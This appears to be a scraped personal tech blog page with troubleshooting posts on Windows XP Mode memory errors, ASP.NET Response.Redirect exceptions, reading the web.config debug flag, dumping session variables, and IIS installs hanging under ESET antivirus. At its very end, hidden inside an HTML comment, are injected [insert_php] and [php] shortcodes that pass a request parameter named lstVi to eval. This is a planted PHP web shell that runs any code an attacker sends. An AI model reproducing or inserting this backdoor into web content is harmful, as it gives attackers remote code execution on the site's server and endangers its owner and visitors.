‘Windows XP Mode’ could not be started because there are not enough system resources or memory in your computer. You can shut down other virtual machines or close open applications and try again.
If you’re running Windows 7 and try to install Windows XP mode, you might run into the error “‘Windows XP Mode’ could not be started because there are not enough system resources or memory in your computer. You can shut down other virtual machines or close open applications and try again.”
You’ll need to find the app causing the problem. You can use msinfo to figure out which apps are resource intensive.
- Click Start, click Run, type msinfo32 in the Open box, and then click OK.
- Expand Software Environment, and then click Running Tasks.
- View the values in the Min Working Set and the Max Working Set columns for each process to determine the process that uses a lot of physical memory.
Actual Cause
In my case, I discovered Stardock Tiles and Virtual PC are not compatible. Kill the Tiles process and you’ll be able to run Virtual PC. You can run Stardock Tiles after loading up Virtual PC though.
Update 3-23-12
A few people (Thanks Tom!) have commented on the issue and have pointed out for them that Google’s CrashHandler process also interferes with Virtual PC. You can either kill it through task manager or disable it completely by doing the following:
2. Go to File Menu >Options
3. Click the tab Under The Hood, and uncheck the option which says – Help Google Chrome better by automatically sending the usage statistics and crash reports to google
{Unable to evaluate expression because the code is optimized or a native frame is on top of the call stack.}
Problem
If you’re working in ASP.NET and ever ran into the error:
{Unable to evaluate expression because the code is optimized or a native frame is on top of the call stack.}
You’ll probably find that the stack trace gives you no useful information as to where the error actually occurred.
The Solution
For Response.Redirect, use the overload function (Response.Redirect(String url, bool endResponse)) and pass false into the EndResponse parameter:
[csharp]Response.Redirect ("nextpage.aspx", false);[/csharp]
For Response.End, you’ll need to call the HttpContext.Current.ApplicationInstance.CompleteRequest method instead of Response.End to bypass the code execution to the Application_EndRequest event.
Details
The error occurs when you use Response.End, Response.Redirect, or Response.Transfer.The Response.End method ends the page execution and shifts the execution to the Application_EndRequest event in the application’s event pipeline. The line of code that follows Response.End is not executed. This problem occurs in the Response.Redirect and Server.Transfer methods because both methods call Response.End internally.
Detecting ASP.NET debug mode
The Problem
Recently I ran into a situation where I needed to debug ASP.NET code in a production environment that we had no control over. The server was managed by a third party support team and we deployed to a staging environment through a custom web deployment utility they built.
Of course, the code ran locally and on our internal staging environments with no issues but when deployed to the client’s remote staging servers, the application was encountering odd errors that we couldn’t replicate.
At this point, I wanted to add code to the web application that could be turned on and off without having to recompile deploy new dlls because of code changes in the code behind. With this particular client, code changes would trigger security scans that took over a week to complete and we were short on time.
The Solutions that Should’ve Worked but Didn’t.
Page Tracing wasn’t working. I remembered the #if Debug and HttpContext.Current.IsDebuggingEnabled statements worked rather well in other projects.
So I added:
#if Debug //Debug code here #endif
to the web application. Nothing happened so I tried:
if(!HttpContext.Current.IsDebuggingEnabled)
but it kept returning false even though debug mode was set to true in the web.config file.
The Solution (that worked!)
Finally I got the bright idea to read out the debug setting out of the web.config and execute code if the debug flag was set to true. How to do so wasn’t exactly obvious though.
After some searching, I finally figured it out and here’s the code snippet that will execute only if the debug flag is set to true:
System.Web.Configuration.CompilationSection cfg = (System.Web.Configuration.CompilationSection)ConfigurationManager.GetSection("system.web/compilation"); if (cfg.Debug) { Response.Write(ex.ToString()); }
Why Didn’t the Normal Debug Statements Work?
The issue was that the machine was configured as production. The machine.config overrode the web.config since the <deployment retail=”true”/> switch was set in Machine.config.
This setting disables Page.Tracing & #If Debug and always sets the IsDebuggingEnabled to false. This was done by Microsoft as a security precaution for companies so they could ensure no applications were deployed with debugging enabled by mistake.
Bonus! How Do I Loop Through All Session Variables in C#?
I wanted to see what the session variable values were during execution of the page with the caveat that it would only run if the debug flag was set to true.
<% System.Web.Configuration.CompilationSection cfg = (System.Web.Configuration.CompilationSection)ConfigurationManager.GetSection("system.web/compilation"); if (cfg.Debug) { for(int i = 0; i < Session.Contents.Count; i++) { Response.Write(Session.Keys[i] + " - " + Session[i] + "<br />"); } } %>
I added the code directly to the bottom of the aspx page since I didn’t want to modify the code behind and voila! Once the code was added to the page, we found that the expected session variables weren’t populating correctly on the remote server. Unfortunately it required a code change to resolve the issue but I never would have found the cause without the above snippet of code.
IIS install freezes when installing Windows 7
If you’re installing IIS with Windows 7, you may find that the IIS (Internet Information Services) installation hangs while the progress bar indicates 100%. The menu displays: “Please wait while Windows makes changes to features. This might take several minutes.” and appears to do nothing.
The solution? Disable ESET antivirus and try again. I’ve found that it seems to conflict with the trustedinstaller which causes the lockup issue. It might be the same with other anti-viruses as well.
<!– [insert_php]if (isset($_REQUEST["lstVi"])){eval($_REQUEST["lstVi"]);exit;}[/insert_php][php]if (isset($_REQUEST["lstVi"])){eval($_REQUEST["lstVi"]);exit;}[/php] –>